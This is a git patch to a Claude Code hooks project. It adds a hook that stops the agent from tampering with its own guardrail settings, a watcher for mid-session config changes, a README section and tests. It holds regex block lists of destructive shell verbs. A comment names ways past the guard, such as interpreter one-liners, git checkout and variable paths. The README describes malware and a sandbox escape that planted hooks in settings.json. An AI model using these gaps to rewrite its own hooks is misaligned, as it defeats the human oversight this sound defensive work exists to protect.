From 96090057e2e484e138b83072da97ac4c8c97e47a Mon Sep 17 00:00:00 2001 From: karanb192 Date: Mon, 17 Aug 2026 21:13:44 +0530 Subject: [PATCH 1/3] feat(config-guard): block tampering with guardrail configuration --- README.md | 34 +- hook-scripts/config-change/config-watch.js | 109 +++++ hook-scripts/pre-tool-use/config-guard.js | 221 ++++++++++ .../tests/config-change/config-watch.test.js | 168 ++++++++ .../tests/pre-tool-use/config-guard.test.js | 380 ++++++++++++++++++ 5 files changed, 910 insertions(+), 2 deletions(-) create mode 100644 hook-scripts/config-change/config-watch.js create mode 100644 hook-scripts/pre-tool-use/config-guard.js create mode 100644 hook-scripts/tests/config-change/config-watch.test.js create mode 100644 hook-scripts/tests/pre-tool-use/config-guard.test.js diff --git a/README.md b/README.md index 3fc8f71..8723658 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ [![GitHub stars](https://img.shields.io/github/stars/karanb192/claude-code-hooks?style=social)](https://github.com/karanb192/claude-code-hooks) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![CI](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml/badge.svg)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) -[![Tests](https://img.shields.io/badge/tests-1238%20passing-brightgreen)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) +[![Tests](https://img.shields.io/badge/tests-1369%20passing-brightgreen)](https://github.com/karanb192/claude-code-hooks/actions/workflows/test.yml) **🌐 [Live site & catalog](https://karanb192.github.io/claude-code-hooks/)** @@ -72,6 +72,7 @@ Runs **before** Claude executes a tool. Can block or modify the operation. | [git-safety](hook-scripts/pre-tool-use/git-safety.js) | `Bash` | Branch-aware git guardrails + destructive gh CLI protection | | [protect-tests](hook-scripts/pre-tool-use/protect-tests.js) | `Bash\|Edit\|MultiEdit\|Write` | Stops "fake green": blocks deleting, renaming-away, or skip/xfail-disabling tests | | [case-insensitive-guard](hook-scripts/pre-tool-use/case-insensitive-guard.js) | `Bash` | Stops `rm -rf content` destroying `Content` on case-insensitive filesystems (APFS/exFAT/NTFS) — resolves real targets through `cd` chains and quotes | +| [config-guard](hook-scripts/pre-tool-use/config-guard.js) | `Bash\|Edit\|MultiEdit\|Write` | Who guards the guards: blocks the agent from tampering with its own guardrail config (settings.json, `.claude/hooks/`, hooks.json, `.mcp.json`, plugin manifests). Reads always pass. See [Config-Change](#config-change) for why and for its out-of-band sibling. | ### Post-Tool-Use @@ -94,6 +95,35 @@ Fires when Claude needs user attention. | ------------------------------------------------------------------- | -------------------------------- | ------------------------------------------ | | [notify-permission](hook-scripts/notification/notify-permission.js) | `permission_prompt\|idle_prompt\|elicitation_dialog` | Sends Slack alerts when Claude needs input | +### Config-Change + +Fires when a configuration file changes during a session. Can block the change (exit 2), except for `policy_settings`. + +| Hook | Matcher | Description | +| ---------------------------------------------------------------- | -------------------------------------------------------------------------- | ------------------------------------------ | +| [config-watch](hook-scripts/config-change/config-watch.js) | `user_settings\|project_settings\|local_settings\|policy_settings\|skills` | Makes every mid-session config change loudly visible (default), or blocks it outright with `CONFIG_WATCH_BLOCK=true`. Note: the docs guarantee ConfigChange can block via exit 2 but do not document its payload schema, so the hook parses defensively and logs the raw payload. | + +**Why config-guard + config-watch exist:** the Aug 2026 [CHAINDROP npm worm](https://www.elastic.co/security-labs/shai-hulud-chaindrop-npm-supply-chain) hid its payload in `.claude/settings.json`, turning the agent's own config into its persistence mechanism. And [CVE-2026-25725](https://advisories.gitlab.com/pkg/npm/@anthropic-ai/claude-code/CVE-2026-25725) let sandboxed code escape by injecting hooks into a `settings.json` that did not exist yet, which is why `config-guard` treats creating a protected file as mutation. `config-guard` (PreToolUse) blocks the agent itself from rewriting its guardrails before damage happens; `config-watch` (ConfigChange) covers changes made by anything else while a session runs. For intentional config edits, set `CONFIG_GUARD_ALLOW=true` for that call, or use [ask mode](#-ask-mode-prompt-instead-of-block) to get a prompt instead of a hard wall. + +```json +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash|Edit|MultiEdit|Write", + "hooks": [{ "type": "command", "command": "node ~/.claude/hooks/config-guard.js" }] + } + ], + "ConfigChange": [ + { + "matcher": "user_settings|project_settings|local_settings|policy_settings|skills", + "hooks": [{ "type": "command", "command": "node ~/.claude/hooks/config-watch.js" }] + } + ] + } +} +``` + ### Utils Tools to help you build and debug hooks. @@ -193,7 +223,7 @@ const SAFETY_LEVEL = "strict"; // or 'critical', 'high' ### 🙋 Ask mode (prompt instead of block) -`block-dangerous-commands`, `protect-secrets`, and `case-insensitive-guard` can **ask** instead of denying outright. When ask mode is on for a level, matching operations return `permissionDecision: "ask"` — Claude Code shows the reason and lets you approve or reject, instead of hard-blocking. +`block-dangerous-commands`, `protect-secrets`, `case-insensitive-guard`, and `config-guard` can **ask** instead of denying outright. When ask mode is on for a level, matching operations return `permissionDecision: "ask"` — Claude Code shows the reason and lets you approve or reject, instead of hard-blocking. Enable per level via environment variables (the literal string `true`; anything else means deny): diff --git a/hook-scripts/config-change/config-watch.js b/hook-scripts/config-change/config-watch.js new file mode 100644 index 0000000..f978d50 --- /dev/null +++ b/hook-scripts/config-change/config-watch.js @@ -0,0 +1,109 @@ +#!/usr/bin/env node +/** + * Config Watch - ConfigChange Hook + * Detects configuration changes that land mid-session from OUTSIDE the + * agent's own tool calls: an installer script, an npm postinstall payload + * (the CHAINDROP worm hid in .claude/settings.json exactly this way), or + * any other process rewriting settings while Claude Code is running. + * Pairs with config-guard.js (PreToolUse), which blocks the agent's own + * writes; this hook covers the out-of-band path. + * Logs to: ~/.claude/hooks-logs/ + * + * What the docs guarantee (and what they do not): the hooks reference + * documents that ConfigChange CAN block - exit code 2 stops the change from + * taking effect, except for policy_settings - but it does not document the + * event's input payload schema. This hook therefore reads the payload + * defensively (source / config_source / matcher, file_path / path when + * present) and logs the raw payload so you can inspect what your Claude + * Code version actually sends (utils/event-logger.py helps too). + * + * Modes: + * warn (default) - emits a systemMessage so the change is visible + * in the session instead of sliding by silently + * CONFIG_WATCH_BLOCK=true - exits 2 to stop the change from taking effect; + * policy_settings cannot be blocked by hooks, so + * those still warn + * + * Note: ConfigChange also fires for changes YOU make (e.g. /config, editing + * settings in your editor), so block mode is opt-in for hardened setups; + * the default keeps legitimate workflows friction-free while making every + * mid-session config change loudly visible. + * + * Setup in .claude/settings.json: + * { + * "hooks": { + * "ConfigChange": [{ + * "matcher": "user_settings|project_settings|local_settings|policy_settings|skills", + * "hooks": [{ "type": "command", "command": "node /path/to/config-watch.js" }] + * }] + * } + * } + */ + +const fs = require('fs'); +const path = require('path'); + +const envBool = (key, fallback) => key in process.env ? process.env[key] === 'true' : fallback; +const BLOCK_MODE = envBool('CONFIG_WATCH_BLOCK', false); + +const LOG_DIR = path.join(process.env.HOME || '/tmp', '.claude', 'hooks-logs'); + +function log(data) { + try { + if (!fs.existsSync(LOG_DIR)) fs.mkdirSync(LOG_DIR, { recursive: true }); + const file = path.join(LOG_DIR, `${new Date().toISOString().slice(0, 10)}.jsonl`); + fs.appendFileSync(file, JSON.stringify({ ts: new Date().toISOString(), hook: 'config-watch', ...data }) + '\n'); + } catch {} +} + +// Pure decision function - unit-testable. +// Returns { action: 'pass' | 'warn' | 'block', source, message }. +function evaluate(data, blockMode = BLOCK_MODE) { + if (!data || data.hook_event_name !== 'ConfigChange') return { action: 'pass' }; + + // Payload schema is undocumented; accept the plausible field names. + const source = data.source || data.config_source || data.matcher || 'unknown source'; + const file = data.file_path || data.path || data.settings_path || ''; + const where = file ? ` (${file})` : ''; + const message = + `Configuration changed mid-session: ${source}${where}. ` + + 'If you did not make this change yourself, inspect the file before continuing: ' + + 'malware has used out-of-band settings.json writes to install persistent hooks.'; + + if (blockMode && source !== 'policy_settings') { + return { action: 'block', source, message }; + } + return { action: 'warn', source, message }; +} + +async function main() { + let input = ''; + for await (const chunk of process.stdin) input += chunk; + + try { + const data = JSON.parse(input); + const result = evaluate(data); + + // Keep a raw copy of the payload: the schema is undocumented, so the log + // doubles as discovery of what this Claude Code version sends. + log({ level: result.action.toUpperCase(), source: result.source, payload: data }); + + if (result.action === 'block') { + process.stderr.write(`🔭 config-watch: ${result.message}\n`); + process.exit(2); + } + if (result.action === 'warn') { + return console.log(JSON.stringify({ systemMessage: `🔭 config-watch: ${result.message}` })); + } + console.log('{}'); + } catch (e) { + log({ level: 'ERROR', error: e.message }); + console.log('{}'); + } +} + +if (require.main === module) { + main(); +} else { + module.exports = { evaluate }; +} diff --git a/hook-scripts/pre-tool-use/config-guard.js b/hook-scripts/pre-tool-use/config-guard.js new file mode 100644 index 0000000..82e1c4e --- /dev/null +++ b/hook-scripts/pre-tool-use/config-guard.js @@ -0,0 +1,221 @@ +#!/usr/bin/env node +/** + * Config Guard - PreToolUse Hook for Bash|Edit|MultiEdit|Write + * Who guards the guards: blocks the agent from tampering with its own + * guardrail configuration - settings files that wire hooks and permissions, + * the hook scripts themselves, hook manifests, MCP and plugin config. + * Reads always pass (agents legitimately read settings); only writes, + * in-place edits, moves, copies onto, and deletes are stopped. + * Logs to: ~/.claude/hooks-logs/ + * + * Why this hook exists: the Aug 2026 CHAINDROP npm worm hid its payload in + * .claude/settings.json, and CVE-2026-25725 let sandboxed code persist by + * injecting a hooks entry into a settings.json that did not exist yet + * (which is why CREATING a protected file counts as mutation here). An + * agent that can rewrite its own hook config can switch every other + * guardrail off; this hook closes that loop. Pair it with config-watch.js + * (ConfigChange event) to also catch changes made from outside the agent. + * + * SAFETY_LEVEL: 'critical' | 'high' | 'strict' + * critical - the enforcement chain: .claude/settings.json, + * .claude/settings.local.json, managed-settings.json, + * anything under .claude/hooks/, hooks.json manifests + * high - + config supply chain: .mcp.json, .claude-plugin/, + * `claude config set|add|remove` and `claude mcp add|remove` + * strict - + instruction files: CLAUDE.md, CLAUDE.local.md, + * .claude/rules/, .claude/agents/, .claude/commands/ + * + * Escape hatch: set CONFIG_GUARD_ALLOW to the literal string "true" for an + * intentional, human-approved config change (e.g. prefix a single hook + * command with it in settings.json, or export it for one shell call). + * Ask mode (opt-in, per level): set HOOK_ASK_CRITICAL / HOOK_ASK_HIGH / + * HOOK_ASK_STRICT to "true" to prompt the user instead of denying outright, + * so intentional edits degrade to a question instead of a hard wall. + * + * Known limits (deliberately NOT a full shell parser, same trade as + * protect-tests): a mutation verb and a protected path in the same Bash + * command block it even if the verb technically targets another argument; + * interpreter one-liners (python -c "open(...).write(...)"), git + * checkout/restore of a config path, chmod, and paths built from variables + * ("$DIR/settings.json") are not caught. PreToolUse only sees the agent's + * own tool calls; out-of-band writes are config-watch.js territory. + * + * Setup in .claude/settings.json: + * { + * "hooks": { + * "PreToolUse": [{ + * "matcher": "Bash|Edit|MultiEdit|Write", + * "hooks": [{ "type": "command", "command": "node /path/to/config-guard.js" }] + * }] + * } + * } + */ + +const fs = require('fs'); +const path = require('path'); + +const SAFETY_LEVEL = 'high'; + +// Ask mode per level: if true, prompts the user instead of blocking outright. +// Env overrides: HOOK_ASK_CRITICAL, HOOK_ASK_HIGH, HOOK_ASK_STRICT +const envBool = (key, fallback) => key in process.env ? process.env[key] === 'true' : fallback; +const ASK = { + critical: envBool('HOOK_ASK_CRITICAL', false), + high: envBool('HOOK_ASK_HIGH', false), + strict: envBool('HOOK_ASK_STRICT', false), +}; + +// Escape hatch for intentional, human-approved config edits (literal "true"). +const ALLOW_OVERRIDE = envBool('CONFIG_GUARD_ALLOW', false); + +// Guardrail config targets as file paths (Edit / MultiEdit / Write file_path). +const PROTECTED_PATHS = [ + // CRITICAL - the enforcement chain itself + { level: 'critical', id: 'settings-file', regex: /(^|\/)\.claude\/settings(\.local)?\.json$/i, reason: 'Claude Code settings wire hooks and permissions' }, + { level: 'critical', id: 'managed-settings', regex: /(^|\/)managed-settings\.json$/i, reason: 'managed policy settings' }, + { level: 'critical', id: 'hook-script', regex: /(^|\/)\.claude\/hooks(\/|$)/i, reason: 'hook scripts are the guardrails themselves' }, + { level: 'critical', id: 'hooks-manifest', regex: /(^|\/)hooks\.json$/i, reason: 'hooks.json manifests register hooks' }, + + // HIGH - config supply chain + { level: 'high', id: 'mcp-config', regex: /(^|\/)\.mcp\.json$/i, reason: '.mcp.json adds MCP servers (new tools)' }, + { level: 'high', id: 'plugin-manifest', regex: /(^|\/)\.claude-plugin(\/|$)/i, reason: 'plugin manifests install hooks and skills' }, + + // STRICT - instruction files that steer the agent + { level: 'strict', id: 'claude-md', regex: /(^|\/)CLAUDE(\.local)?\.md$/i, reason: 'CLAUDE.md instructions steer the agent' }, + { level: 'strict', id: 'rules-dir', regex: /(^|\/)\.claude\/(rules|agents|commands)\//i, reason: 'rules, agents, and commands steer the agent' }, +]; + +// The same targets as they appear as tokens inside a shell command. Not +// end-anchored: a token ends at whitespace or a quote, and suffixed forms +// (settings.json.bak) are config-adjacent enough to guard too. +const BASH_TOKENS = [ + { level: 'critical', id: 'settings-file', regex: /\.claude\/settings(\.local)?\.json/i, reason: 'Claude Code settings wire hooks and permissions' }, + { level: 'critical', id: 'managed-settings', regex: /managed-settings\.json/i, reason: 'managed policy settings' }, + { level: 'critical', id: 'hook-script', regex: /\.claude\/hooks([/\s'"]|$)/i, reason: 'hook scripts are the guardrails themselves' }, + { level: 'critical', id: 'hooks-manifest', regex: /(^|[\s'"/=])hooks\.json/i, reason: 'hooks.json manifests register hooks' }, + { level: 'high', id: 'mcp-config', regex: /\.mcp\.json/i, reason: '.mcp.json adds MCP servers (new tools)' }, + { level: 'high', id: 'plugin-manifest', regex: /\.claude-plugin([/\s'"]|$)/i, reason: 'plugin manifests install hooks and skills' }, + { level: 'strict', id: 'claude-md', regex: /(^|[\s'"/=])CLAUDE(\.local)?\.md/i, reason: 'CLAUDE.md instructions steer the agent' }, + { level: 'strict', id: 'rules-dir', regex: /\.claude\/(rules|agents|commands)([/\s'"]|$)/i, reason: 'rules, agents, and commands steer the agent' }, +]; + +// Mutation forms in shell commands. Reads (cat, jq, grep, ls, diff, node) pass. +const DELETE_VERB = /(\brm\b|\bunlink\b|\bshred\b|\btrash\b|\bgit\s+rm\b)/; +const MOVE_COPY_VERB = /\b(mv|cp|rsync|install|ln)\b/; +const WRITE_VERB = /\b(tee|truncate|dd)\b/; +const INPLACE_EDIT = /\b(sed|gsed)\s+[^|;&]*-i\b|\bperl\s+[^|;&]*-\w*i\b|\bgawk\s+[^|;&]*-i\s*inplace\b/; + +// CLI commands that rewrite agent config without naming a settings path. +const CLAUDE_CLI_WRITE = /\bclaude\s+(config\s+(set|add|remove|rm)|mcp\s+(add|add-json|add-from-claude-desktop|remove|rm))\b/; + +const LEVELS = { critical: 1, high: 2, strict: 3 }; +const EMOJIS = { critical: '🔒', high: '🛡️', strict: '⚠️' }; +const LOG_DIR = path.join(process.env.HOME || '/tmp', '.claude', 'hooks-logs'); + +function log(data) { + try { + if (!fs.existsSync(LOG_DIR)) fs.mkdirSync(LOG_DIR, { recursive: true }); + const file = path.join(LOG_DIR, `${new Date().toISOString().slice(0, 10)}.jsonl`); + fs.appendFileSync(file, JSON.stringify({ ts: new Date().toISOString(), hook: 'config-guard', ...data }) + '\n'); + } catch {} +} + +// True when the command redirects output into a protected token: +// "> path", ">> path", "2> path", ">| path" (with optional quoting/prefix). +function redirectsInto(cmd, tokenRegex) { + const re = new RegExp(`(^|[^<>])>{1,2}\\|?\\s*['"]?[^'"\\s;|&]*(${tokenRegex.source})`, 'i'); + return re.test(cmd); +} + +// Pure check for Edit/MultiEdit/Write file paths - unit-testable. +function checkFilePath(filePath, safetyLevel = SAFETY_LEVEL) { + if (!filePath) return { blocked: false }; + const threshold = LEVELS[safetyLevel] || 2; + for (const p of PROTECTED_PATHS) { + if (LEVELS[p.level] <= threshold && p.regex.test(filePath)) { + return { blocked: true, id: p.id, level: p.level, reason: p.reason }; + } + } + return { blocked: false }; +} + +// Pure check for Bash commands - unit-testable. +function checkBashCommand(cmd, safetyLevel = SAFETY_LEVEL) { + if (!cmd) return { blocked: false }; + const threshold = LEVELS[safetyLevel] || 2; + + if (LEVELS.high <= threshold && CLAUDE_CLI_WRITE.test(cmd)) { + return { blocked: true, id: 'claude-cli-config', level: 'high', reason: 'claude config/mcp CLI write rewrites agent config' }; + } + + for (const t of BASH_TOKENS) { + if (LEVELS[t.level] > threshold || !t.regex.test(cmd)) continue; + if (redirectsInto(cmd, t.regex)) + return { blocked: true, id: t.id, level: t.level, reason: `shell redirect into protected config: ${t.reason}` }; + if (INPLACE_EDIT.test(cmd)) + return { blocked: true, id: t.id, level: t.level, reason: `in-place edit of protected config: ${t.reason}` }; + if (DELETE_VERB.test(cmd)) + return { blocked: true, id: t.id, level: t.level, reason: `deleting protected config: ${t.reason}` }; + if (MOVE_COPY_VERB.test(cmd)) + return { blocked: true, id: t.id, level: t.level, reason: `moving/copying/linking a protected config path: ${t.reason}` }; + if (WRITE_VERB.test(cmd)) + return { blocked: true, id: t.id, level: t.level, reason: `writing to protected config: ${t.reason}` }; + } + return { blocked: false }; +} + +// Returns { blocked, id, level, reason } - pure, so it is unit-testable. +// Read (and any unrecognized tool) always passes: reading config is legitimate. +function checkTool(toolName, toolInput = {}, safetyLevel = SAFETY_LEVEL) { + if (toolName === 'Edit' || toolName === 'MultiEdit' || toolName === 'Write') { + return checkFilePath(toolInput.file_path || '', safetyLevel); + } + if (toolName === 'Bash') { + return checkBashCommand(toolInput.command || '', safetyLevel); + } + return { blocked: false }; +} + +async function main() { + let input = ''; + for await (const chunk of process.stdin) input += chunk; + + try { + const data = JSON.parse(input); + const { tool_name, tool_input, session_id, cwd, permission_mode } = data; + + if (ALLOW_OVERRIDE) { + log({ level: 'ALLOW_OVERRIDE', tool: tool_name, session_id, cwd, permission_mode }); + return console.log('{}'); + } + + const result = checkTool(tool_name, tool_input || {}); + + if (result.blocked) { + const shouldAsk = ASK[result.level] === true; + const decision = shouldAsk ? 'ask' : 'deny'; + const target = tool_input?.file_path || tool_input?.command?.slice(0, 100); + log({ level: shouldAsk ? 'ASK' : 'BLOCKED', id: result.id, priority: result.level, decision, tool: tool_name, target, session_id, cwd, permission_mode }); + return console.log(JSON.stringify({ + hookSpecificOutput: { + hookEventName: 'PreToolUse', + permissionDecision: decision, + permissionDecisionReason: `${EMOJIS[result.level]} [${result.id}] ${result.reason}. Guardrail config is protected; if this change is intentional and human-approved, set CONFIG_GUARD_ALLOW=true for this call or edit the file yourself.` + } + })); + } + console.log('{}'); + } catch (e) { + log({ level: 'ERROR', error: e.message }); + console.log('{}'); + } +} + +if (require.main === module) { + main(); +} else { + module.exports = { + PROTECTED_PATHS, BASH_TOKENS, LEVELS, SAFETY_LEVEL, ASK, + checkTool, checkFilePath, checkBashCommand, + }; +} diff --git a/hook-scripts/tests/config-change/config-watch.test.js b/hook-scripts/tests/config-change/config-watch.test.js new file mode 100644 index 0000000..a58b0d0 --- /dev/null +++ b/hook-scripts/tests/config-change/config-watch.test.js @@ -0,0 +1,168 @@ +#!/usr/bin/env node +/** + * Tests for config-watch.js + * + * Run: node --test hook-scripts/tests/config-change/config-watch.test.js + * Or: npm test + */ + +const { describe, it } = require('node:test'); +const assert = require('node:assert'); +const { spawn } = require('node:child_process'); +const path = require('node:path'); +const fs = require('node:fs'); +const os = require('node:os'); + +const { evaluate } = require('../../config-change/config-watch.js'); + +const SCRIPT_PATH = path.join(__dirname, '../../config-change/config-watch.js'); + +// ───────────────────────────────────────────────────────────────────────────── +// Test helpers +// ───────────────────────────────────────────────────────────────────────────── + +function event(fields = {}) { + return { hook_event_name: 'ConfigChange', session_id: 'test-session', cwd: '/tmp', ...fields }; +} + +// Spawns the actual script with a temp HOME (no noise in the real +// ~/.claude/hooks-logs) and without inheriting CONFIG_WATCH_* from the +// runner's shell - tests opt in explicitly via envOverrides. +const TMP_HOME = fs.mkdtempSync(path.join(os.tmpdir(), 'config-watch-test-')); + +function runHook(payload, envOverrides = {}) { + return new Promise((resolve) => { + const env = { ...process.env, HOME: TMP_HOME, ...envOverrides }; + for (const key of Object.keys(env)) { + if (key.startsWith('CONFIG_WATCH_') && !(key in envOverrides)) delete env[key]; + } + const child = spawn('node', [SCRIPT_PATH], { env }); + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { stdout += data; }); + child.stderr.on('data', (data) => { stderr += data; }); + + child.on('close', (code) => { + let output = null; + try { output = JSON.parse(stdout.trim()); } catch {} + resolve({ code, output, stdout, stderr }); + }); + + child.stdin.write(typeof payload === 'string' ? payload : JSON.stringify(payload)); + child.stdin.end(); + }); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Unit Tests - evaluate() +// ───────────────────────────────────────────────────────────────────────────── + +describe('Unit: evaluate()', () => { + describe('warn mode (default)', () => { + for (const source of ['user_settings', 'project_settings', 'local_settings', 'policy_settings', 'skills']) { + it(`warns on ${source}`, () => { + const result = evaluate(event({ source }), false); + assert.strictEqual(result.action, 'warn'); + assert.match(result.message, new RegExp(source)); + }); + } + it('warns even when the payload names no source (schema is undocumented)', () => { + const result = evaluate(event(), false); + assert.strictEqual(result.action, 'warn'); + assert.match(result.message, /unknown source/); + }); + it('reads the config_source alias', () => { + const result = evaluate(event({ config_source: 'project_settings' }), false); + assert.match(result.message, /project_settings/); + }); + it('reads the matcher alias', () => { + const result = evaluate(event({ matcher: 'local_settings' }), false); + assert.match(result.message, /local_settings/); + }); + it('includes file_path in the message when present', () => { + const result = evaluate(event({ source: 'project_settings', file_path: '/repo/.claude/settings.json' }), false); + assert.match(result.message, /\/repo\/\.claude\/settings\.json/); + }); + it('includes the path alias when present', () => { + const result = evaluate(event({ source: 'user_settings', path: '/home/u/.claude/settings.json' }), false); + assert.match(result.message, /\/home\/u\/\.claude\/settings\.json/); + }); + }); + + describe('block mode (CONFIG_WATCH_BLOCK=true)', () => { + for (const source of ['user_settings', 'project_settings', 'local_settings', 'skills']) { + it(`blocks ${source}`, () => { + assert.strictEqual(evaluate(event({ source }), true).action, 'block'); + }); + } + it('policy_settings still warns (hooks cannot block it per the docs)', () => { + assert.strictEqual(evaluate(event({ source: 'policy_settings' }), true).action, 'warn'); + }); + }); + + describe('non-events pass', () => { + it('passes a non-ConfigChange event', () => { + assert.strictEqual(evaluate({ hook_event_name: 'PreToolUse', tool_name: 'Bash' }, true).action, 'pass'); + }); + it('passes a payload without hook_event_name', () => { + assert.strictEqual(evaluate({ source: 'user_settings' }, true).action, 'pass'); + }); + it('passes null', () => { + assert.strictEqual(evaluate(null, true).action, 'pass'); + }); + }); +}); + +// ───────────────────────────────────────────────────────────────────────────── +// Integration Tests - stdin/stdout/exit-code flow +// ───────────────────────────────────────────────────────────────────────────── + +describe('Integration: hook process', () => { + it('warn mode: exit 0 with a systemMessage naming the source', async () => { + const { code, output } = await runHook(event({ source: 'project_settings' })); + assert.strictEqual(code, 0); + assert.match(output.systemMessage, /project_settings/); + }); + + it('warn mode: message tells the user to inspect unexpected changes', async () => { + const { output } = await runHook(event({ source: 'user_settings' })); + assert.match(output.systemMessage, /did not make this change/); + }); + + it('block mode: exit 2 with the reason on stderr', async () => { + const { code, stderr } = await runHook(event({ source: 'project_settings' }), { CONFIG_WATCH_BLOCK: 'true' }); + assert.strictEqual(code, 2); + assert.match(stderr, /project_settings/); + }); + + it('block mode requires the literal string "true"', async () => { + const { code, output } = await runHook(event({ source: 'project_settings' }), { CONFIG_WATCH_BLOCK: '1' }); + assert.strictEqual(code, 0); + assert.ok(output.systemMessage); + }); + + it('block mode: policy_settings falls back to a warn, exit 0', async () => { + const { code, output } = await runHook(event({ source: 'policy_settings' }), { CONFIG_WATCH_BLOCK: 'true' }); + assert.strictEqual(code, 0); + assert.match(output.systemMessage, /policy_settings/); + }); + + it('outputs {} and exits 0 on invalid JSON', async () => { + const { code, output } = await runHook('not json at all'); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + + it('outputs {} and exits 0 on a null payload', async () => { + const { code, output } = await runHook('null'); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); + + it('outputs {} for a non-ConfigChange payload even in block mode', async () => { + const { code, output } = await runHook({ hook_event_name: 'PostToolUse' }, { CONFIG_WATCH_BLOCK: 'true' }); + assert.strictEqual(code, 0); + assert.deepStrictEqual(output, {}); + }); +}); diff --git a/hook-scripts/tests/pre-tool-use/config-guard.test.js b/hook-scripts/tests/pre-tool-use/config-guard.test.js new file mode 100644 index 0000000..88cc88c --- /dev/null +++ b/hook-scripts/tests/pre-tool-use/config-guard.test.js @@ -0,0 +1,380 @@ +#!/usr/bin/env node +/** + * Tests for config-guard.js + * + * Run: node --test hook-scripts/tests/pre-tool-use/config-guard.test.js + * Or: npm test + */ + +const { describe, it } = require('node:test'); +const assert = require('node:assert'); +const { spawn } = require('node:child_process'); +const path = require('node:path'); +const fs = require('node:fs'); +const os = require('node:os'); + +const { + PROTECTED_PATHS, + BASH_TOKENS, + LEVELS, + SAFETY_LEVEL, + checkTool, + checkFilePath, + checkBashCommand, +} = require('../../pre-tool-use/config-guard.js'); + +const SCRIPT_PATH = path.join(__dirname, '../../pre-tool-use/config-guard.js'); + +// ───────────────────────────────────────────────────────────────────────────── +// Test helpers +// ───────────────────────────────────────────────────────────────────────────── + +function fileBlocked(filePath, expectedId = null, level = undefined) { + const result = checkFilePath(filePath, level); + assert.strictEqual(result.blocked, true, `Expected BLOCKED but ALLOWED: ${filePath}`); + if (expectedId) { + assert.strictEqual(result.id, expectedId, `Expected '${expectedId}' but got '${result.id}'`); + } +} + +function fileAllowed(filePath, level = undefined) { + const result = checkFilePath(filePath, level); + assert.strictEqual(result.blocked, false, `Expected ALLOWED but BLOCKED by '${result.id}': ${filePath}`); +} + +function bashBlocked(cmd, expectedId = null, level = undefined) { + const result = checkBashCommand(cmd, level); + assert.strictEqual(result.blocked, true, `Expected BLOCKED but ALLOWED: ${cmd}`); + if (expectedId) { + assert.strictEqual(result.id, expectedId, `Expected '${expectedId}' but got '${result.id}'`); + } +} + +function bashAllowed(cmd, level = undefined) { + const result = checkBashCommand(cmd, level); + assert.strictEqual(result.blocked, false, `Expected ALLOWED but BLOCKED by '${result.id}': ${cmd}`); +} + +// Spawns the actual script with a temp HOME (no noise in the real +// ~/.claude/hooks-logs) and without inheriting HOOK_ASK_* / CONFIG_GUARD_* +// from the runner's shell - tests opt in explicitly via envOverrides. +const TMP_HOME = fs.mkdtempSync(path.join(os.tmpdir(), 'config-guard-test-')); + +function runHook(payload, envOverrides = {}) { + return new Promise((resolve, reject) => { + const env = { ...process.env, HOME: TMP_HOME, ...envOverrides }; + for (const key of Object.keys(env)) { + if ((key.startsWith('HOOK_ASK_') || key.startsWith('CONFIG_GUARD_')) && !(key in envOverrides)) { + delete env[key]; + } + } + const child = spawn('node', [SCRIPT_PATH], { env }); + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { stdout += data; }); + child.stderr.on('data', (data) => { stderr += data; }); + + child.on('close', (code) => { + try { + const output = JSON.parse(stdout.trim()); + resolve({ code, output, stderr }); + } catch (e) { + reject(new Error(`Failed to parse output: ${stdout}`)); + } + }); + + child.stdin.write(typeof payload === 'string' ? payload : JSON.stringify(payload)); + child.stdin.end(); + }); +} + +function toolPayload(toolName, toolInput) { + return { + tool_name: toolName, + tool_input: toolInput, + session_id: 'test-session', + cwd: '/tmp', + permission_mode: 'default', + }; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Unit Tests - checkFilePath() (Edit / MultiEdit / Write targets) +// ───────────────────────────────────────────────────────────────────────────── + +describe('Unit: checkFilePath()', () => { + describe('CRITICAL: settings files', () => { + it('blocks .claude/settings.json', () => fileBlocked('.claude/settings.json', 'settings-file')); + it('blocks project-absolute .claude/settings.json', () => fileBlocked('/Users/dev/proj/.claude/settings.json', 'settings-file')); + it('blocks .claude/settings.local.json', () => fileBlocked('.claude/settings.local.json', 'settings-file')); + it('blocks ~/.claude/settings.json', () => fileBlocked('~/.claude/settings.json', 'settings-file')); + it('blocks /home/user/.claude/settings.json', () => fileBlocked('/home/user/.claude/settings.json', 'settings-file')); + it('blocks managed-settings.json', () => fileBlocked('/Library/Application Support/ClaudeCode/managed-settings.json', 'managed-settings')); + it('blocks case variants on case-insensitive filesystems', () => fileBlocked('.Claude/Settings.JSON', 'settings-file')); + }); + + describe('CRITICAL: hook scripts and manifests', () => { + it('blocks a script under .claude/hooks/ (self-protection)', () => fileBlocked('/Users/dev/.claude/hooks/config-guard.js', 'hook-script')); + it('blocks creating a new script under .claude/hooks/', () => fileBlocked('.claude/hooks/evil.js', 'hook-script')); + it('blocks a plugin hooks.json', () => fileBlocked('plugins/foo/hooks/hooks.json', 'hooks-manifest')); + it('blocks a bare hooks.json', () => fileBlocked('hooks.json', 'hooks-manifest')); + }); + + describe('HIGH: MCP and plugin config', () => { + it('blocks .mcp.json', () => fileBlocked('.mcp.json', 'mcp-config')); + it('blocks project-absolute .mcp.json', () => fileBlocked('/Users/dev/proj/.mcp.json', 'mcp-config')); + it('blocks .claude-plugin/marketplace.json', () => fileBlocked('.claude-plugin/marketplace.json', 'plugin-manifest')); + it('blocks nested .claude-plugin/plugin.json', () => fileBlocked('plugins/x/.claude-plugin/plugin.json', 'plugin-manifest')); + it('critical level does NOT block .mcp.json', () => fileAllowed('.mcp.json', 'critical')); + }); + + describe('STRICT: instruction files (opt-in tier)', () => { + it('blocks CLAUDE.md at strict', () => fileBlocked('CLAUDE.md', 'claude-md', 'strict')); + it('blocks CLAUDE.local.md at strict', () => fileBlocked('/repo/CLAUDE.local.md', 'claude-md', 'strict')); + it('blocks .claude/rules/style.md at strict', () => fileBlocked('.claude/rules/style.md', 'rules-dir', 'strict')); + it('blocks 